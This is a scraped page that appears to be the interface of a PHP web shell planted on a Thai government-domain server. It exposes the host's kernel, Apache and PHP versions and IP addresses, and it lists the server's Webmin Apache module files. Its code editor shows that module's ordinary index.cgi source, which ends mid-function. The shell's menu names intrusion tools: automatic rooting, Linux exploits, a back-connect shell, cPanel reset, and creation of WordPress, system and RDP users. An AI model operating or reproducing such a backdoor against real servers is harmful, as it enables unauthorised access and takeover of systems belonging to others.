Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
apache /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
4.06
KB
-rw-r--r--
acl_security.pl
5.44
KB
-rwxr-xr-x
allmanual_form.cgi
1.1
KB
-rwxr-xr-x
allmanual_save.cgi
881
B
-rwxr-xr-x
apache-lib.pl
52.72
KB
-rwxr-xr-x
auth-lib.pl
3.09
KB
-rwxr-xr-x
autoindex.pl
9.54
KB
-rwxr-xr-x
backup_config.pl
1.39
KB
-rwxr-xr-x
browsermatch.pl
2.15
KB
-rwxr-xr-x
cache.pl
3
KB
-rwxr-xr-x
cgi_args.pl
1.02
KB
-rwxr-xr-x
change_dir.cgi
1.29
KB
-rwxr-xr-x
change_files.cgi
1.07
KB
-rwxr-xr-x
config-Amazon-Linux-2-ALL
403
B
-rw-r--r--
config-CentOS-Linux-7.0-ALL
403
B
-rw-r--r--
config-Fedora-Linux-20-ALL
405
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
403
B
-rw-r--r--
config-Scientific-Linux-7.0-AL...
403
B
-rw-r--r--
config-aix
284
B
-rw-r--r--
config-cobalt-linux
295
B
-rw-r--r--
config-coherent-linux
371
B
-rw-r--r--
config-corel-linux
396
B
-rw-r--r--
config-debian-linux
396
B
-rw-r--r--
config-debian-linux-3.1-6.9
591
B
-rw-r--r--
config-debian-linux-7.0-ALL
621
B
-rw-r--r--
config-freebsd
441
B
-rw-r--r--
config-freebsd-8.0-ALL
449
B
-rw-r--r--
config-generic-linux
305
B
-rw-r--r--
config-gentoo-linux
431
B
-rw-r--r--
config-hpux
305
B
-rw-r--r--
config-irix
305
B
-rw-r--r--
config-irix-6.5
343
B
-rw-r--r--
config-lfs-linux
487
B
-rw-r--r--
config-macos
517
B
-rw-r--r--
config-macos-1.3-8.1
366
B
-rw-r--r--
config-macos-9.2-ALL
331
B
-rw-r--r--
config-mandrake-linux
385
B
-rw-r--r--
config-msc-linux
285
B
-rw-r--r--
config-netbsd
405
B
-rw-r--r--
config-open-linux-2.3
361
B
-rw-r--r--
config-open-linux-2.3e
347
B
-rw-r--r--
config-open-linux-2.4
347
B
-rw-r--r--
config-open-linux-2.5
444
B
-rw-r--r--
config-open-linux-3.1e
455
B
-rw-r--r--
config-openbsd
367
B
-rw-r--r--
config-openmamba-linux
401
B
-rw-r--r--
config-openserver
445
B
-rw-r--r--
config-osf1
305
B
-rw-r--r--
config-pardus-linux
381
B
-rw-r--r--
config-redhat-linux
295
B
-rw-r--r--
config-redhat-linux-12.1-12.9
372
B
-rw-r--r--
config-redhat-linux-13.0-23.0
357
B
-rw-r--r--
config-redhat-linux-24.0-ALL
371
B
-rw-r--r--
config-redhat-linux-7.0-7.4
416
B
-rw-r--r--
config-redhat-linux-8.0
371
B
-rw-r--r--
config-redhat-linux-8.1
457
B
-rw-r--r--
config-redhat-linux-9.0-12.0
371
B
-rw-r--r--
config-slackware-linux
196
B
-rw-r--r--
config-slackware-linux-12.0-AL...
406
B
-rw-r--r--
config-slackware-linux-7.0-7.1
333
B
-rw-r--r--
config-slackware-linux-8.0-ALL
372
B
-rw-r--r--
config-sol-linux
317
B
-rw-r--r--
config-solaris
305
B
-rw-r--r--
config-solaris-10
309
B
-rw-r--r--
config-solaris-11-ALL
459
B
-rw-r--r--
config-solaris-9
309
B
-rw-r--r--
config-suse-linux
398
B
-rw-r--r--
config-suse-linux-7.1-8.0
396
B
-rw-r--r--
config-suse-linux-8.2
423
B
-rw-r--r--
config-suse-linux-9.0
455
B
-rw-r--r--
config-suse-linux-9.1-ALL
531
B
-rw-r--r--
config-syno-linux
305
B
-rw-r--r--
config-trustix-linux
356
B
-rw-r--r--
config-turbo-linux
295
B
-rw-r--r--
config-united-linux
388
B
-rw-r--r--
config-unixware
445
B
-rw-r--r--
config-windows
434
B
-rw-r--r--
config.info
1.96
KB
-rw-r--r--
config.info.bg
2.11
KB
-rw-r--r--
config.info.bg.UTF-8
3.3
KB
-rw-r--r--
config.info.ca
2.18
KB
-rw-r--r--
config.info.ca.UTF-8
2.22
KB
-rw-r--r--
config.info.cz
1.91
KB
-rw-r--r--
config.info.cz.UTF-8
2.03
KB
-rw-r--r--
config.info.da
483
B
-rw-r--r--
config.info.da.UTF-8
483
B
-rw-r--r--
config.info.de
2.28
KB
-rw-r--r--
config.info.de.UTF-8
2.28
KB
-rw-r--r--
config.info.es
1.88
KB
-rw-r--r--
config.info.es.UTF-8
1.88
KB
-rw-r--r--
config.info.fa
2.37
KB
-rw-r--r--
config.info.fr
1.84
KB
-rw-r--r--
config.info.fr.UTF-8
1.81
KB
-rw-r--r--
config.info.hr
0
B
-rw-r--r--
config.info.hu
732
B
-rw-r--r--
config.info.hu.UTF-8
775
B
-rw-r--r--
config.info.ja_JP.UTF-8
2.16
KB
-rw-r--r--
config.info.ja_JP.euc
1.68
KB
-rw-r--r--
config.info.ms_MY
2.14
KB
-rw-r--r--
config.info.ms_MY.UTF-8
2.14
KB
-rw-r--r--
config.info.nl
1.98
KB
-rw-r--r--
config.info.nl.UTF-8
1.98
KB
-rw-r--r--
config.info.no
2.09
KB
-rw-r--r--
config.info.no.UTF-8
2.09
KB
-rw-r--r--
config.info.pl
2.07
KB
-rw-r--r--
config.info.pl.UTF-8
2.12
KB
-rw-r--r--
config.info.pt_BR
2.73
KB
-rw-r--r--
config.info.pt_BR.UTF-8
2.73
KB
-rw-r--r--
config.info.ru.UTF-8
1.56
KB
-rw-r--r--
config.info.ru_RU
1.01
KB
-rw-r--r--
config.info.ru_RU.UTF-8
1.56
KB
-rw-r--r--
config.info.ru_SU
1.01
KB
-rw-r--r--
config.info.sv
710
B
-rw-r--r--
config.info.sv.UTF-8
710
B
-rw-r--r--
config.info.tr
1.81
KB
-rw-r--r--
config.info.uk_UA
1.03
KB
-rw-r--r--
config.info.uk_UA.UTF-8
1.55
KB
-rw-r--r--
config.info.zh_CN
469
B
-rw-r--r--
config.info.zh_CN.UTF-8
568
B
-rw-r--r--
config.info.zh_TW.Big5
1.02
KB
-rw-r--r--
config.info.zh_TW.UTF-8
1.23
KB
-rw-r--r--
config_solaris.txt.1.25
81
B
-rw-r--r--
core.pl
39.68
KB
-rwxr-xr-x
create_dir.cgi
1.17
KB
-rwxr-xr-x
create_files.cgi
949
B
-rwxr-xr-x
create_htaccess.cgi
1.49
KB
-rwxr-xr-x
create_virt.cgi
7.15
KB
-rwxr-xr-x
defaultacl
119
B
-rw-r--r--
delete_htaccess.cgi
552
B
-rwxr-xr-x
delete_vservs.cgi
802
B
-rwxr-xr-x
dir_index.cgi
1.94
KB
-rwxr-xr-x
edit_authgroup.cgi
1.52
KB
-rwxr-xr-x
edit_authuser.cgi
1.75
KB
-rwxr-xr-x
edit_defines.cgi
799
B
-rwxr-xr-x
edit_dir.cgi
1.03
KB
-rwxr-xr-x
edit_files.cgi
1.06
KB
-rwxr-xr-x
edit_global.cgi
1.62
KB
-rwxr-xr-x
edit_gmime_type.cgi
1
KB
-rwxr-xr-x
edit_htaccess.cgi
999
B
-rwxr-xr-x
edit_mods.cgi
1.04
KB
-rwxr-xr-x
edit_virt.cgi
1.46
KB
-rwxr-xr-x
feedback_files.pl
125
B
-rwxr-xr-x
files_index.cgi
1.68
KB
-rwxr-xr-x
find_htaccess.cgi
1.73
KB
-rwxr-xr-x
htaccess.cgi
1.28
KB
-rwxr-xr-x
htaccess_index.cgi
2.38
KB
-rwxr-xr-x
index.cgi
15.34
KB
-rwxr-xr-x
install_check.pl
450
B
-rwxr-xr-x
list_authgroups.cgi
1.42
KB
-rwxr-xr-x
list_authusers.cgi
1.88
KB
-rwxr-xr-x
log_parser.pl
3.7
KB
-rwxr-xr-x
manual_form.cgi
3.13
KB
-rwxr-xr-x
manual_save.cgi
2.19
KB
-rwxr-xr-x
mod_access.pl
3.18
KB
-rwxr-xr-x
mod_actions.pl
2.57
KB
-rwxr-xr-x
mod_alias.pl
5.7
KB
-rwxr-xr-x
mod_apachessl.pl
13.47
KB
-rwxr-xr-x
mod_asis.pl
125
B
-rwxr-xr-x
mod_auth.pl
1.88
KB
-rwxr-xr-x
mod_auth_basic.pl
983
B
-rwxr-xr-x
mod_auth_dbm.pl
1.79
KB
-rwxr-xr-x
mod_auth_digest.pl
1.56
KB
-rwxr-xr-x
mod_authn_dbm.pl
1.02
KB
-rwxr-xr-x
mod_authn_file.pl
838
B
-rwxr-xr-x
mod_authz_dbm.pl
1.38
KB
-rwxr-xr-x
mod_authz_groupfile.pl
863
B
-rwxr-xr-x
mod_authz_host.pl
314
B
-rwxr-xr-x
mod_authz_owner.pl
139
B
-rwxr-xr-x
mod_autoindex.pl
2.15
KB
-rwxr-xr-x
mod_bandwidth.pl
3.86
KB
-rwxr-xr-x
mod_browser.pl
274
B
-rwxr-xr-x
mod_cache.pl
2.73
KB
-rwxr-xr-x
mod_cern_meta.pl
1.13
KB
-rwxr-xr-x
mod_cgi.pl
1.26
KB
-rwxr-xr-x
mod_cgid.pl
1.26
KB
-rwxr-xr-x
mod_dav.pl
1.1
KB
-rwxr-xr-x
mod_dir.pl
1.06
KB
-rwxr-xr-x
mod_disk_cache.pl
1.03
KB
-rwxr-xr-x
mod_env.pl
2.03
KB
-rwxr-xr-x
mod_expires.pl.broken
3.22
KB
-rw-r--r--
mod_ext_filter.pl
2.63
KB
-rwxr-xr-x
mod_fastcgi.pl
181
B
-rwxr-xr-x
mod_fcgid.pl
169
B
-rwxr-xr-x
mod_imap.pl
2.35
KB
-rwxr-xr-x
mod_include.pl
601
B
-rwxr-xr-x
mod_info.pl
145
B
-rwxr-xr-x
mod_log_agent.pl
1.08
KB
-rwxr-xr-x
mod_log_common.pl
1.14
KB
-rwxr-xr-x
mod_log_config.pl
4.49
KB
-rwxr-xr-x
mod_log_referer.pl
1.59
KB
-rwxr-xr-x
mod_mem_cache.pl
1.1
KB
-rwxr-xr-x
mod_mime.pl
6.16
KB
-rwxr-xr-x
mod_mime_magic.pl
521
B
-rwxr-xr-x
mod_mpm_prefork.pl
820
B
-rwxr-xr-x
mod_negotiation.pl
1.25
KB
-rwxr-xr-x
mod_perl.pl
147
B
-rwxr-xr-x
mod_php.pl
93
B
-rwxr-xr-x
mod_php3.pl
147
B
-rwxr-xr-x
mod_php4.pl
2.89
KB
-rwxr-xr-x
mod_php5.pl
2.82
KB
-rwxr-xr-x
mod_php7.pl
2.82
KB
-rwxr-xr-x
mod_proxy.pl
8.42
KB
-rwxr-xr-x
mod_proxy_balancer.pl
173
B
-rwxr-xr-x
mod_rewrite.pl
121
B
-rwxr-xr-x
mod_ruby.pl
155
B
-rwxr-xr-x
mod_setenvif.pl
3.04
KB
-rwxr-xr-x
mod_speling.pl
565
B
-rwxr-xr-x
mod_ssl.pl
6.12
KB
-rwxr-xr-x
mod_status.pl
542
B
-rwxr-xr-x
mod_suexec.pl
1.24
KB
-rwxr-xr-x
mod_userdir.pl
2.58
KB
-rwxr-xr-x
mod_vhost_alias.pl
2.33
KB
-rwxr-xr-x
module.info
265
B
-rw-r--r--
module.info.ar
142
B
-rw-r--r--
module.info.bg
53
B
-rw-r--r--
module.info.bg.UTF-8
101
B
-rw-r--r--
module.info.ca
107
B
-rw-r--r--
module.info.ca.UTF-8
121
B
-rw-r--r--
module.info.cz
26
B
-rw-r--r--
module.info.cz.UTF-8
32
B
-rw-r--r--
module.info.da
25
B
-rw-r--r--
module.info.da.UTF-8
31
B
-rw-r--r--
module.info.de
92
B
-rw-r--r--
module.info.de.UTF-8
104
B
-rw-r--r--
module.info.es
28
B
-rw-r--r--
module.info.es.UTF-8
34
B
-rw-r--r--
module.info.fr
27
B
-rw-r--r--
module.info.fr.UTF-8
33
B
-rw-r--r--
module.info.hu
87
B
-rw-r--r--
module.info.hu.UTF-8
107
B
-rw-r--r--
module.info.ja_JP.UTF-8
37
B
-rw-r--r--
module.info.ja_JP.euc
32
B
-rw-r--r--
module.info.ko_KR.UTF-8
35
B
-rw-r--r--
module.info.ko_KR.euc
33
B
-rw-r--r--
module.info.ms_MY
114
B
-rw-r--r--
module.info.ms_MY.UTF-8
126
B
-rw-r--r--
module.info.nl
25
B
-rw-r--r--
module.info.nl.UTF-8
31
B
-rw-r--r--
module.info.no
25
B
-rw-r--r--
module.info.no.UTF-8
31
B
-rw-r--r--
module.info.pl
96
B
-rw-r--r--
module.info.pl.UTF-8
108
B
-rw-r--r--
module.info.pt
28
B
-rw-r--r--
module.info.pt.UTF-8
34
B
-rw-r--r--
module.info.pt_BR
31
B
-rw-r--r--
module.info.pt_BR.UTF-8
37
B
-rw-r--r--
module.info.ru.UTF-8
41
B
-rw-r--r--
module.info.ru_RU
29
B
-rw-r--r--
module.info.ru_RU.UTF-8
44
B
-rw-r--r--
module.info.ru_SU
29
B
-rw-r--r--
module.info.sv
25
B
-rw-r--r--
module.info.sv.UTF-8
31
B
-rw-r--r--
module.info.tr
28
B
-rw-r--r--
module.info.zh_CN
25
B
-rw-r--r--
module.info.zh_TW.Big5
34
B
-rw-r--r--
mpm_netware.pl
1.26
KB
-rwxr-xr-x
mpm_winnt.pl
801
B
-rwxr-xr-x
notes
1.12
KB
-rw-r--r--
perchild.pl
4.05
KB
-rwxr-xr-x
postinstall.pl
92
B
-rwxr-xr-x
prefork.pl
796
B
-rwxr-xr-x
reconfig.cgi
543
B
-rwxr-xr-x
reconfig_form.cgi
1.55
KB
-rwxr-xr-x
remove_vserv.pl
814
B
-rwxr-xr-x
restart.cgi
1019
B
-rwxr-xr-x
save_authgroup.cgi
1.09
KB
-rwxr-xr-x
save_authuser.cgi
1.17
KB
-rwxr-xr-x
save_defines.cgi
462
B
-rwxr-xr-x
save_dir.cgi
640
B
-rwxr-xr-x
save_files.cgi
745
B
-rwxr-xr-x
save_global.cgi
483
B
-rwxr-xr-x
save_gmime_type.cgi
742
B
-rwxr-xr-x
save_htaccess.cgi
671
B
-rwxr-xr-x
save_mods.cgi
883
B
-rwxr-xr-x
save_sync.cgi
488
B
-rwxr-xr-x
save_virt.cgi
990
B
-rwxr-xr-x
save_vserv.cgi
3.66
KB
-rwxr-xr-x
search_virt.cgi
4.12
KB
-rwxr-xr-x
show.cgi
3.63
KB
-rwxr-xr-x
show_dir.cgi
1.99
KB
-rwxr-xr-x
show_files.cgi
1.99
KB
-rwxr-xr-x
show_htaccess.cgi
2.02
KB
-rwxr-xr-x
show_virt.cgi
2.12
KB
-rwxr-xr-x
start.cgi
309
B
-rwxr-xr-x
stop.cgi
290
B
-rwxr-xr-x
syslog_logs.pl
452
B
-rwxr-xr-x
useradmin_update.pl
957
B
-rwxr-xr-x
virt_index.cgi
4.92
KB
-rwxr-xr-x
worker.pl
1.57
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.cgi
#!/usr/bin/perl # index.cgi # Display a list of all virtual servers, and links for various types # of global configuration require './apache-lib.pl'; &ReadParse(); # check for the executable if (!($httpd = &find_httpd())) { &ui_print_header(undef, $text{'index_title'}, "", undef, 1, 1); print &text('index_eserver', "<tt>$config{'httpd_path'}</tt>", "$gconfig{'webprefix'}/config.cgi?$module_name"),"<p>\n"; &foreign_require("software", "software-lib.pl"); $lnk = &software::missing_install_link("apache", $text{'index_apache'}, "../$module_name/", $text{'index_title'}); print $lnk,"<p>\n" if ($lnk); &ui_print_footer("/", $text{'index'}); exit; } # check for the base directory if (!(-d $config{'httpd_dir'})) { &ui_print_header(undef, $text{'index_title'}, "", undef, 1, 1); print &text('index_eroot', "<tt>$config{'httpd_dir'}</tt>", "$gconfig{'webprefix'}/config.cgi?$module_name"),"<p>\n"; &ui_print_footer("/", $text{'index'}); exit; } # check if this is a new apache install, by looking for -dist files $conf = "$config{'httpd_dir'}/etc"; if (!-d $conf) { $conf = "$config{'httpd_dir'}/conf"; } if (!$config{'httpd_conf'} && !(-e "$conf/httpd.conf") && (-e "$conf/httpd.conf-dist") && (-d $conf)) { # copy all the .dist files and fix up @@ServerRoot@@ references # Only needed for apache versions < 1.3, which don't do this as part # of the 'make install' $sroot = $config{'httpd_dir'}; opendir(CONF, $conf); foreach $f (readdir(CONF)) { if ($f =~ /^(.*)-dist$/) { open(DIST, "$conf/$f"); @dist = <DIST>; close(DIST); &open_tempfile(REAL, ">$conf/$1"); foreach (@dist) { s/\/usr\/local\/etc\/httpd/$sroot/g; s/\@\@ServerRoot\@\@/$sroot/g; &print_tempfile(REAL, $_); } &close_tempfile(REAL); } } close(CONF); } # check for an -example file if ($config{'httpd_conf'} && !-e $config{'httpd_conf'} && -e $config{'httpd_conf'}."-example") { system("cp ".quotemeta($config{'httpd_conf'}."-example")." ". quotemeta($config{'httpd_conf'})); } # check for the httpd.conf file ($htconf, $htconfchecked) = &find_httpd_conf(); if (!$htconf) { # still doesn't exist! &ui_print_header(undef, $text{'index_title'}, "", undef, 1, 1); print "<p>\n"; print &text('index_econf', "<tt>$htconfchecked</tt>", "$gconfig{'webprefix'}/config.cgi?$module_name"),"<p>\n"; &ui_print_footer("/", $text{'index'}); exit; } # check for multiple port directives $conf = &get_config(); @prt = &find_directive("Port", $conf); if (@prt > 1 && $httpd_modules{'core'} < 1.3) { &ui_print_header(undef, $text{'index_title'}, "", undef, 1, 1); print "<p>\n"; print &text('index_eports', 'Port'),"<p>\n"; &ui_print_footer("/", $text{'index'}); exit; } # add default server $defport = &find_directive("Port", $conf, 1); if (&can_edit_virt()) { local $sn = &find_directive("ServerName", $conf, 1); push(@vidx, undef); push(@vname, $text{'index_defserv'}); push(@vlink, "virt_index.cgi"); push(@vdesc, $text{'index_defdesc1'}); push(@vaddr, $text{'index_any'}); push(@vport, $text{'index_any'}); push(@vserv, $sn); push(@vroot, &def(&find_directive("DocumentRoot", $conf, 1), $text{'index_auto'})); push(@vproxy, undef); $sn ||= &get_system_hostname(); push(@vurl, $defport ? "http://$sn:$defport/" : "http://$sn/"); $showing_default++; } # add other servers @virt = &find_directive_struct("VirtualHost", $conf); if ($httpd_modules{'core'} >= 2.4) { # Apache 2.4 makes all IPs name-based $nv{"*"}++; } elsif ($httpd_modules{'core'} >= 1.3) { # build list of name-based virtual host IP addresses @nv = &find_directive("NameVirtualHost", $conf); foreach $nv (@nv) { if ($nv =~ /:(\d+)$/) { push(@nvports, $1); } $nv =~ s/:\d+$//; $nv{$nv =~ /^\*/ ? "*" : &to_ipaddress($nv)}++; } @nvports = &unique(@nvports); } elsif ($httpd_modules{'core'} >= 1.2) { # only one name-based virtual host IP address - the default address $ba = &find_directive("ServerName", $conf); $nv{&to_ipaddress($ba ? $ba : &get_system_hostname())}++; } @virt = grep { &can_edit_virt($_) } @virt; if ($config{'show_order'} == 1) { # sort by server name @virt = sort { &server_name_sort($a) cmp &server_name_sort($b) } @virt; } elsif ($config{'show_order'} == 2) { # sort by IP address @virt = sort { &server_ip_sort($a) cmp &server_ip_sort($b) } @virt; } foreach $v (@virt) { $vm = $v->{'members'}; if ($v->{'words'}->[0] =~ /^\[(\S+)\]:(\d+)$/) { # IPv6 address and port $addr = $1; $port = $2; } elsif ($v->{'words'}->[0] =~ /^(\S+):(\d+)$/) { # IPv4 address and port $addr = $1; $port = $2; } else { # Address, perhaps v6, with default port $addr = $v->{'words'}->[0]; $addr = $1 if ($addr =~ /^\[(\S+)\]$/); if ($httpd_modules{'core'} < 2.0) { $port = &def(&find_directive("Port", $conf), 80); } else { $port = "*"; } } $idx = &indexof($v, @$conf); push(@vidx, $idx); push(@vname, $text{'index_virt'}); push(@vlink, "virt_index.cgi?virt=$idx"); $sname = &find_directive("ServerName", $vm); local $daddr = $addr eq "_default_" || ($addr eq "*" && $httpd_modules{'core'} < 1.2); if ($nv{"*"}) { if ($daddr) { push(@vdesc, &text('index_vnamed', "<tt>$sname</tt>")); } else { push(@vdesc, &text('index_vname', "<tt>$sname</tt>", "<tt>$addr</tt>")); } } elsif (!$daddr && $nv{&to_ipaddress($addr)}) { push(@vdesc, &text('index_vname', "<tt>$sname</tt>", "<tt>$addr</tt>")); } elsif (!$daddr && $addr eq "*") { push(@vdesc, &text('index_vnamed', "<tt>$sname</tt>")); } elsif ($daddr && $port eq "*") { push(@vdesc, $text{'index_vdef'}); $vdesc[0] = $text{'index_defdesc2'}; } elsif ($daddr) { push(@vdesc, &text('index_vport', $port)); } elsif ($port eq "*") { push(@vdesc, &text('index_vaddr', "<tt>$addr</tt>")); } else { push(@vdesc, &text('index_vaddrport', "<tt>$addr</tt>", $port)); } push(@vaddr, $addr eq "_default_" || $addr eq "*" ? $text{'index_any'} : $addr); push(@vport, $port eq "*" ? $text{'index_any'} : $port); local $sn = &find_vdirective("ServerName", $vm, $conf, 1); push(@vserv, $sn); $pp = &find_directive_struct("ProxyPass", $vm); if ($pp->{'words'}->[0] eq "/") { push(@vproxy, $pp->{'words'}->[1]); push(@vroot, undef); } else { push(@vproxy, undef); push(@vroot, &def(&find_vdirective("DocumentRoot",$vm,$conf,1), $text{'index_default'})); } $cname{$v} = sprintf "%s:%s (%s)", $vserv[$#vserv] || $text{'index_auto'}, $vport[$#vport], $vproxy[$#vproxy] || $vroot[$#vroot]; local $sp = $port eq "*" ? $defport : $port; local $prot = "http"; if (&find_vdirective("SSLEngine", $vm, $conf, 1) eq "on") { $prot = "https"; } elsif ($port == 443) { $prot = "https"; } $sp = undef if ($sp == 80 && $prot eq "http" || $sp == 443 && $prot eq "https"); push(@vurl, $sp ? "$prot://$sn:$sp/" : "$prot://$sn/"); } if (@vlink == 1 && !$access{'global'} && $access{'virts'} ne "*" && !$access{'create'} && $access{'noconfig'}) { # Can only manage one vhost, so go direct to it &redirect($vlink[0]); exit; } # Page header $ver = $httpd_modules{'core'}; $ver =~ s/^(\d+)\.(\d)(\d+)$/$1.$2.$3/; &ui_print_header(undef, $text{'index_title'}, "", undef, 1, 1, undef, &restart_button()."<br>". &help_search_link("apache", "man", "doc", "google"), undef, undef, &text('index_version', $ver)); # Show tabs @tabs = map { [ $_, $text{'index_tab'.$_}, "index.cgi?mode=$_" ] } ( $access{'global'} ? ( "global" ) : ( ), "list", $access{'create'} ? ( "create" ) : ( ) ); print &ui_tabs_start(\@tabs, "mode", $in{'mode'} || "list", 1); # global config options if ($access{'global'}) { print &ui_tabs_start_tab("mode", "global"); #print $text{'index_descglobal'},"<p>\n"; if ($access{'global'} == 1) { $ht_icon = { "icon" => "images/dir.gif", "name" => $text{'htaccess_title'}, "link" => "htaccess.cgi" }; if (&can_configure_apache_modules()) { $rc_icon = { "icon" => "images/mods.gif", "name" => $text{'mods_title'}, "link" => "edit_mods.cgi" }; } elsif (!$config{'auto_mods'}) { $rc_icon = { "icon" => "images/recon.gif", "name" => $text{'reconfig_title'}, "link" => "reconfig_form.cgi?size=$httpd_size&vol=1" }; } $df_icon = { "icon" => "images/defines.gif", "name" => $text{'defines_title'}, "link" => "edit_defines.cgi" }; $ed_icon = { "icon" => "images/edit.gif", "name" => $text{'manual_configs'}, "link" => "allmanual_form.cgi" }; $ds_icon = { "icon" => "images/virt.gif", "name" => $text{'index_defserv'}, "link" => "virt_index.cgi" }; &config_icons("global", "edit_global.cgi?", $ht_icon, $rc_icon, $df_icon, $access{'types'} eq '*' && $access{'virts'} eq '*' ? ( $ed_icon ) : ( ), $showing_default && @vname > $config{'max_servers'} && $config{'max_servers'} ? ( $ds_icon ) : ( ) ); } else { &icons_table([ "htaccess.cgi" ], [ $text{'htaccess_title'} ], [ "images/dir.gif" ]); } print &ui_tabs_end_tab(); } # work out select links print &ui_tabs_start_tab("mode", "list"); #print $text{'index_desclist'},"<p>\n"; $showdel = $access{'vaddr'} && ($vidx[0] || $vidx[1]); @links = ( ); if ($showdel) { push(@links, &select_all_link("d"), &select_invert_link("d")); } # display servers $formno = 0; if ($config{'max_servers'} && @vname > $config{'max_servers'}) { # as search form for people with lots and lots of servers print "<b>$text{'index_toomany'}</b><p>\n"; print "<form action=search_virt.cgi>\n"; print "<b>$text{'index_find'}</b> <select name=field>\n"; print "<option value=name checked>$text{'index_name'}</option>\n"; print "<option value=port>$text{'index_port'}</option>\n"; print "<option value=addr>$text{'index_addr'}</option>\n"; print "<option value=root>$text{'index_root'}</option>\n"; print "</select> <select name=match>\n"; print "<option value=0 checked>$text{'index_equals'}</option>\n"; print "<option value=1>$text{'index_matches'}</option>\n"; print "<option value=2>$text{'index_nequals'}</option>\n"; print "<option value=3>$text{'index_nmatches'}</option>\n"; print "</select> <input name=what size=15> \n"; print "<input type=submit value=\"$text{'find'}\"></form><p>\n"; $formno++; } elsif ($config{'show_list'} && scalar(@vname)) { # as list for people with lots of servers if ($showdel) { print &ui_form_start("delete_vservs.cgi", "post"); } print &ui_links_row(\@links); print &ui_columns_start([ $showdel ? ( "" ) : ( ), $text{'index_type'}, $text{'index_addr'}, $text{'index_port'}, $text{'index_name'}, $text{'index_root'}, $text{'index_url'} ], 100); for($i=0; $i<@vname; $i++) { local @cols; push(@cols, &ui_link($vlink[$i], $vname[$i]) ); push(@cols, &html_escape($vaddr[$i])); push(@cols, &html_escape($vport[$i])); push(@cols, $vserv[$i] || $text{'index_auto'}); push(@cols, &html_escape($vproxy[$i]) || &html_escape($vroot[$i])); push(@cols, &ui_link($vurl[$i], $text{'index_view'}) ); if ($showdel && $vidx[$i]) { print &ui_checked_columns_row(\@cols, undef, "d", $vidx[$i]); } elsif ($showdel) { print &ui_columns_row([ "", @cols ]); } else { print &ui_columns_row(\@cols); } } print &ui_columns_end(); print &ui_links_row(\@links); if ($showdel) { print &ui_form_end([ [ "delete", $text{'index_delete'} ] ]); } } else { # as icons for niceness if ($showdel) { print &ui_form_start("delete_vservs.cgi", "post"); } print &ui_links_row(\@links); print "<table width=100% cellpadding=5>\n"; for($i=0; $i<@vname; $i++) { print "<tr class='mainbody ".($i % 2 ? 'row0' : 'row1')."'> <td valign=top align=center nowrap>"; print '<div class="row icons-row inline-row">'; &generate_icon("images/virt.gif", $vname[$i], $vlink[$i], undef, undef, undef, $vidx[$i] && $access{'vaddr'} ? &ui_checkbox("d", $vidx[$i]) : ""); print "</div>\n"; print "</td> <td valign=top>\n"; print "$vdesc[$i]<br>\n"; print "<table width=100%><tr>\n"; print "<td width=30%><b>$text{'index_addr'}</b> ", &html_escape($vaddr[$i]),"<br>\n"; print "<b>$text{'index_port'}</b> ", &html_escape($vport[$i]),"</td>\n"; print "<td width=70%><b>$text{'index_name'}</b> ", (&html_escape($vserv[$i]) || $text{'index_auto'}), "<br>\n"; if ($vproxy[$i]) { print "<b>$text{'index_proxy'}</b> ", &html_escape($vproxy[$i]),"</td> </tr>\n"; } else { print "<b>$text{'index_root'}</b> ", &html_escape($vroot[$i]),"</td> </tr>\n"; } print "</table></td> </tr>\n"; } print "</table>\n"; print &ui_links_row(\@links); if ($showdel) { print &ui_form_end([ [ "delete", $text{'index_delete'} ] ]); } } print &ui_tabs_end_tab(); if ($access{'create'}) { print &ui_tabs_start_tab("mode", "create"); #print $text{'index_desccreate'},"<p>\n"; print &ui_form_start("create_virt.cgi"); print &ui_table_start($text{'index_create'}, undef, 2); # IP address print &ui_table_row($text{'index_newaddr'}, &ui_radio("addr_def", 2, [ [ 1, "$text{'index_any1'}<br>" ], [ 2, "$text{'index_any2'}<br>" ], [ 0, $text{'index_any0'}." ". &ui_textbox("addr", undef, 40) ] ])."<br>\n". ($httpd_modules{'core'} < 2.4 ? &ui_checkbox("nv", 1, $text{'index_nv'}, 1)."<br>" : ""). &ui_checkbox("listen", 1, $text{'index_listen'}, 1)); # Port print &ui_table_row($text{'index_port'}, &choice_input(@nvports ? 2 : 0, "port_mode", "0", "$text{'index_default'},0", "$text{'index_any'},1", ",2"). &ui_textbox("port", @nvports ? $nvports[0] : undef, 5)); # Document root print &ui_table_row($text{'index_root'}, &ui_textbox("root", undef, 40)." ". &file_chooser_button("root", 1, $formno)."<br>". &ui_checkbox("adddir", 1, $text{'index_adddir'}, 1)); # Server name if ($access{'virts'} eq '*') { print &ui_table_row($text{'index_name'}, &opt_input("", "name", $text{'index_auto'}, 30)); } else { # Require that non-root users enter a server name, or else it # will be impossible to grant access to the new virtualhost print &ui_table_row($text{'index_name'}, &ui_textbox("name", "", 30)); } # Add to file print &ui_table_row($text{'index_file'}, &ui_radio("fmode", $config{'virt_file'} ? 1 : 0, [ [ 0, &text('index_fmode0', "<tt>httpd.conf</tt>")."<br>" ], $config{'virt_file'} ? ( [ 1, &text(-d $config{'virt_file'} ? 'index_fmode1d' : 'index_fmode1', "<tt>$config{'virt_file'}</tt>")."<br>" ] ) : ( ), [ 2, $text{'index_fmode2'}." ". &ui_textbox("file", undef, 40)." ". &file_chooser_button("file", 0, $formno) ] ])); # Server to clone print &ui_table_row($text{'index_clone'}, &ui_select("clone", undef, [ [ undef, $text{'index_noclone'} ], map { [ &indexof($_, @$conf), $cname{$_} ] } @virt ])); print &ui_table_end(); print &ui_form_end([ [ undef, $text{'index_crnow'} ] ]); print &ui_tabs_end_tab(); } print &ui_tabs_end(1); &ui_print_footer("/", $text{'index'}); sub server_name_sort { return &def(&find_vdirective("ServerName", $_[0]->{'members'}, $conf), $_[0]->{'value'}); } sub server_ip_sort { local $addr = 